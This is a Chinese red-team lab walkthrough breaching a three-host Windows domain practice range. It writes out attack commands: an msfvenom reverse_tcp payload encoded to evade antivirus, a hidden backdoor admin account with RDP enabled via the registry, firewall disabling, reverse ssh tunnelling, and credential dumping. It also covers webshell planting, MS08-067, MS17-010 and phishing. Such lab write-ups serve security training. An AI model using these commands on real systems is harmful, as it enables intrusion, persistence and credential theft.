ATT&CK实战 | 红队评估一(上) – 作者:Setup

头图.gif

——————   昨日回顾  ——————  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)

无线安全 | 密码破解

image.png

—————— —————— —————

(点击上方文字可直接阅读哦)

01环境搭建

1.1环境搭建测试

1.下载虚拟机文件

此实战靶场共3台主机,Win7作为Web服务器,是打入此实战靶场的第一个目标和入手点,Win2K3为内网域成员主机,WinSever 2008 R2为内网域控主机。

2.实战靶场网络拓扑及IP规划

Kail攻击机只有外网网卡——外网IP:DHCP自动获取

Windows 7有双网卡,也就是内外网IP

外网IP:DHCP自动获取 内网IP:192.168.52.143且此服务器存在yxcms

Windows 2008只有内网网卡——内网IP:192.168.52.138

Win2k3只有内网网卡——内网IP:192.168.52.141

image.png

640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=

3.配置三台主机及kali攻击机网络设置

a)作为web服务器,Windows 7 x64有两块网卡,分别于kali攻击机(NAT模式)和内网两台主机(自定义网络VMnet2)连通

image.png

640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=

b)Win2K3

image.png

640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=

c)WinSever 2008 R2image.png

d)Kali攻击机应与Web服务器外网网卡为同一网段模拟互联网访问web网站

image.png

4.测试连通性
a)Win7与攻击机及两太内网主机连通性image.pngimage.png

640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=

b)Win2K3与WinSever 2008 R2及Win7连通性image.png

c)WinSever 2008 R2与WinSever 2008 R2 Win2K3及Win7连通性image.png

d)Kali攻击机与web服务器连通性

image.png

测试结果显示Win7可以与对方主机ping通,但其他主机ping Win7则请求超时,可能由于Win7开启了防火墙且过滤了ICMP数据包,所以在后续信息收集阶段的活跃主机探测时不能使用-sP.
5.web网站访问

在Win7主机上开启phpstuday,使用kali攻击机访问image.pngimage.png

1.2信息收集

1.首先使用nmap探测活跃主机地址image.png

2.得知192.168.92.130主机开启了80端口,尝试访问

得到了管理员邮箱,可以使用社工攻击或钓鱼邮件等
一些版本信息,可以搜集对应版本是否存在漏洞等,绝对路径,可以用于SQL注入写入一句话木马

image.png

3.使用御剑进行目录扫描

得到phpmyadmin数据库登录界面,与beifen.rar解压后猜测为YXcms网站管理系统的备份文件,尝试访问。

image.pngimage.pngimage.pngimage.png

02漏洞利用

2.1 漏洞搜索与利用

2.1.1 yxcms信息泄露+弱口令漏洞

1.yxcms网站漏洞搜索,查看网页内容image.png

2.尝试访问网站后台管理地址,发现URL与管理员账号密码都是默认的,属于弱口令,成功登录。

image.png

2.1.2  phpmyadmin弱口令

1.phpmyadmin数据库管理工具漏洞搜索,尝试使用root/root弱口令录,登陆成功

image.png

2.1.3 yxcms留言板存储型xss漏洞

1.在存储型XSS常见留言板手动测试image.png

2.弹出窗口,为存在XSS漏洞image.png

3.后台审核成功后其他用户访问也会弹出窗口,为存储型XSS

image.png

640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=

2.1.4 yxcms后台任意文件读写漏洞

1.yxcms后台,直接在前台模板创建新的模板,内容为一句话木马

image.png

2.根据之前下载的备份文件内容,查找出文件路径

image.png

3.使用菜刀连接一句话木马文件,获得后门

image.pngimage.png2.1.5 yxcms后台SQL注入漏洞

1.在碎片删除时进行抓包,正常删除存在的碎片Id的回应包的返回的结果

image.png

2.删除不存在的碎片ID的回应包无返回结果,可能存在SQL盲注,碎片ID作为参数传入后台进行数据库查询删除。

image.png

3.在MYSQL使用盲注时出了基于返回结果进行猜解外还可以使用load_file将数据读出并发起DNS请求。一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。这时候使用CEYE平台,通过使用诸如DNS和HTTP之类的带外信道,便可以得到回显信息。

https://www.cnblogs.com/zhaijiahui/p/9160913.html#autoid-4-2-11

image.pngimage.png

执行失败,load_file为NULL时不可以读取任何文件image.png

2.1.6 SQL语句文件写入

1.直接通过SQL查询语句outfile写入一句话木马

image.png

2.产生报错,show global variables like ‘%secure%’;查看—secure-file-prive变量配置,变量值为NULL不可读写,且变量只读不可编辑。image.png

2.1.7 开启全局日志getshell
1.show variables like ‘%general%’;查询全局日志变量配置

image.png

2.开启general_log将所有查询语句记录到新指定的可访问的文件中

image.pngimage.png

3.查询与句话木马写入日志

image.png

4.使用菜刀连接

image.pngimage.pngimage.png

2.2后台Getshell上传技巧

2.2.1 上传大马

1.通过菜刀上传大马文件,获得命令执行环境

image.png

640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=

2.2.2 反弹shell,MSF监听
1.使用msfvenom生成payload文件,使用菜刀上传到WWW目录下

image.png

640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=

2.使用handler模块接收反弹模块,在7777端口上进行监听,访问test.php,连接成功

image.png

也可利用应用系统漏洞例如MS17-010(445端口需开启)获得cmdshell后使用sessions –u 1 将session 1 的cmdshell升级为meterpreter。
2.2.3 免杀payload

1.若目标主机存在杀毒软件等,payload上传后会被检测到并清除则需对payload进行免杀操作,使用msfcenom生成payload,这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。(shellcode是一段用于利用软件漏洞而执行的代码,为16进制的机器码,常常使用机器语言编写。)例如:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=XXXXXXX   lport=11206 -f  c (-e 选择制定的编码器,-i 编码次数,-b 去多余/坏字符),使用C语言编译器编写代码,对生成的shellcode进行执行,可直接加载到内存中,可采用内联汇编形式对机器语言进行编译等等。https://www.cnblogs.com/LyShark/p/11331476.html含多种语言多种编译后门方式。编译为EXE文件并到目标主机上执行,即可免杀。

2.使用多层编码解码对大马原文件进行加密,对关键字进行拆解免杀

image.pngimage.png

关键字免杀image.png

2.2.4 MSF提权
1.通常通过web漏洞获得的webshell权限较低,需要进行提权,利用msf中绕过UAC模块,首先background将当前会话保存到后天,session可以查看当前后台所有会话,每个session对应一个ID值,use进入模块,将参数session设置为噶保存的session ID值,直接exploit,执行成功后会返回一个新的meterpreter,getsystem就可获得system权限。

image.png

2.还可以利用windows MS系列未修补的漏洞进行提权 ,ms13-081、ms15-051、ms16-032、ms17-010等,search搜索模块,use使用模块,set session Id
3.用户登录windows操作系统时系统会给用户分配令牌,的那个用户访问资源系统是会使用令牌进行身份认证,若目标环境是域环境且域管理员登陆过有权限的终端即可假冒域管理员的角色
使用use incognito进入假冒令牌模块
List_tokens –u 查看存在的令牌
Impersonate_token 用户名(\)

2.2.5 CS

1.CS安装,CS分为客户端和服务端,服务端需搭建在Linux或VPS,客户端在windows,Linux,mac下都可运行

./teamserver  IP 密码  开启服务端,客户端进行连接image.png

2.配置创建监听器image.png

3.创建payload,若目标存在杀毒软件可以使用上述制作免杀payload方法。

image.png

4.在目标主机上执行payload,可以通过cmd创建用户, 使用远程桌面连接执行文件

net user zhang$ zhang /add   
net localgroup administrators zhang$ /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

若目标主机开启了防火墙限制了3389的远程连接,可
反弹一个msf的shell回来,尝试关闭防火墙

Meterpreter:Run post/windows/manage/enable_rdp
ODS:Netsh adcfirewall set allprofiles state off

或尝试使用ngrok的frp创建一个TCP隧道连接3389,首先在http://ngrok.cc/user.html注册用户,开通FRP服务器,下载frp客户端工具,将工具上传至目标服务器,执行sunny.exe –clientid=隧道id,然后连接xxxx.xxxx.xxx:10062
5.也可使用反弹shell获得的meterpreter进行上传并执行文件

image.pngimage.png

5.目标已上线,拿到一个beacon

image.png

2.2.6 CS与MSF联动
1.常用漏洞利用工具有CS和MSF,两者各有所长,也可以联动使用,通过CS拿到一个beacon后通过beacon内置的socks功能在VPS上开启代理端口,将本地的MSF直接带入目标内网
Beacon下socks 端口 //开启socks代理
View > Proxy Pivots复制代理链接到MSF中
msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)

image.pngimage.pngimage.png

3.借助CobaltStrike的外部tcp监听器通过ssh隧道直接派生一个meterpreter 的 shell 到本地
先在cs上创建一个tcp的外部监听器,回连端口设为8080

image.png

在MSF上使用handler模块创建监听器,协议格式需与CS外部监听器的协议对应
在CS服务器端编辑sshd配置,开启ssh转发功能

vi/etc/ssh/sshd_config

AllowTcpForwarding yes  GatewayPorts yes  TCPKeepAlive yes  PasswordAuthentication yes

systemctl restartsshd.service

在本地机上通过ssh隧道做转发,将通过CS服务器端8080端口的流量全部转到本地的8080端口上

ssh -C -f -N -g -R 

0.0.0.0:8080:192.168.3.137:8080 [email protected] -p 22

在CS上选择指定机器的beacon shell 点击 Spawn派生,选择创建的tcp外部监听器,相应目标机器的meterpreter会被直接弹到本地
4.当拿到内网主机的明文密码或hash时,

可利用auxiliary/admin/smb/psexec_comman d模块直接上线指定目标机器的beacon shell(在目标可出网情况下)
先利用CobalStrike生成上线Beacon的powershell。

image.pngimage.png

启动MSF,挂上代理,

设置psexec_command模块参数image.png

5.当CS获得一个上线机器,想把目标传给MSF中的meterpreter获得一个session控制

image.png

2.3系统信息收集

获得目标主机shell后开始进行系统信息收集

image.pngimage.pngimage.pngimage.png

2.4主机密码收集

1.使用hashdump和logonpasswords读内存和注册表密码,在Credentials模块下查看image.png

2.使用LaZagne工具,用于查找本地存储的所有密码,将exe文件上传到目标主机上再执行

image.pngimage.pngimage.png

03内网搜集

3.1内网–继续信息收集

1.补丁信息image.png

2.安装软件信息,发现有nmap,可以直接利用nmap对内网52网段进行扫描,python可以对LaZagne-master工具上传python脚本到目标主机上,在对其进行打包成exe从而绕过MD5检测等

image.png

3.查看路由信息,添加路由到目标环境网络,使得MSF能够通过Win7路由转发访问192.168.52.0网段

image.png

4.arp扫描52网段

image.png

5.关闭web服务器防火墙后image.pngimage.png

6.使用MSF扫描漏洞模块对存在的应用服务进行漏扫image.png

7.使用nmap扫描内网主机端口及漏洞信息

image.pngimage.pngimage.pngimage.png

3.2

内网攻击姿势-信息泄露

1.泄露了一些版本信息,网站路径等等

image.pngimage.pngimage.pngimage.png

3.3内网攻击姿势-MS08-067

1.MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
2.使用MS08-067攻击模块,注意使用的是反向代理,所以这里的payload需采用正向

image.pngimage.pngimage.png

通过mimikatz插件可以查看主机所在域,以及密码收集

image.png

3.4 内网攻击姿势-SMB远程桌面口令猜测

1.使用MSF的smb口令猜解模块,配置参数用于SMB口令爆破

image.png

3.5 内网攻击姿势-Oracle数据库TNS服务漏洞

1.TNS是ORACLE的核心组件之一,主要功能为定义数据库和客户端之间的通讯协议,负责对客户端进行身份验证,如果TNS有可利用漏洞可导致未通过验证即可登录oracle服务器。利用TNS入侵oracle基本有3种方式:①.通过劫持TNS信息,把oracle的登录信息劫持到攻击者机器,获取敏感信息甚至获取oracle管理员账号密码。②.直接对在TNS中加密的oracle登录密钥进行破解。③.通过缓冲区溢出的方式,在oracle调用异常的TNS参数的时候获取oracle本地操作系统的控制权限。

2.oracle TNS Listener远程投毒(CVE-2012-1675)
CVE-2012-1675漏洞是通过使用劫持机创建与原数据库同名的数据库来迷惑TNS Listener,当同一TNS Listener下有两相同数据库名称数据库则会将客户端的访问链接负载均衡分配到负载低的数据库实例的下,再通过配置劫持者的本地监听把客户端请求指回原数据库。造成组件和合法数据库之间的中间人攻击、会话劫持或拒绝服务攻击。攻击者可以通过中间人抓包来获取到客户端传输的数据内容,可以用或得到的账号密码配合CVE-2012-3137来进行撞库攻击。
漏洞检测模块

use auxiliary/scanner/oracle/tnspoison_checker  
若存在漏洞,使用EXP进行攻击启动脚本 python tnspoisonv1.py 攻击者ip 端口 数据库名(与受害者同名数据库) 受害者ip 端口
然后使用wireshark 进行抓包,需要筛选出TNS协议就好了,因为oracle数据库的协议是使用TNS协议的。

3.TNS上的缓冲区漏洞
CVE-2009-1979
MSF中漏洞利用模块

exploit/windows/oracle/tns_auth_sesskey
客户端和服务器确定要使用的验证机制后。进行O3logon验证,在这个协议中客户端在获取数据库发来的AUTH_SEKEEY后,会向数据库发送一个对应的AUTH_SEKEEY和AUTH_PASSWORD。oracle10g1.0.5到10.2.04这些版本中客户端发送的AUTH_ SEKEEY由于没有对内容的长度进行合理限制。导致成为一个缓冲区溢出的注入点。
CVE-2002-0965
MSF中漏洞利用模块

exploit/windows/oracle/tns_service_name
把SERVICE_NAME用超过20字节的字符串代替。导致TNS在调RVICE_NAME的时候出现缓冲区溢出,缓冲区溢出后调用写好的shellcode。夺取操作系统权限。
4.由于Win2K3中oracle服务没有启动且不知道账号密码,所以没有进行实践操作

image.pngimage.pngimage.png

3.6内网攻击姿势-RPC DCOM服务漏洞

1.微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
2.使用MSF相关模块进行攻击

image.png

image.png

3.7MS17-010

1.根据nmap脚本扫描结果,可能存在ms17-010漏洞,search搜索相关模块
Use 使用,并设置参数,攻击成功

image.pngimage.pngimage.png

3.8钓鱼攻击

1.快捷方式

image.pngimage.png

2.钓鱼链接

image.pngimage.pngimage.pngimage.png

或使用克隆网站

image.pngimage.pngimage.png

 ——————  今日福利  ——————  

# 关注公众号在后台回复 PDF #

即可获得ATT&CK实战 | 红队评估 

PDF下载地址  哟〜

—————— —————— —————

banner.jpg

海量安全课程   点击以下链接   即可观看 

http://qiyuanxuetang.net/courses/

来源:freebuf.com 2020-03-16 10:55:48 by: Setup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论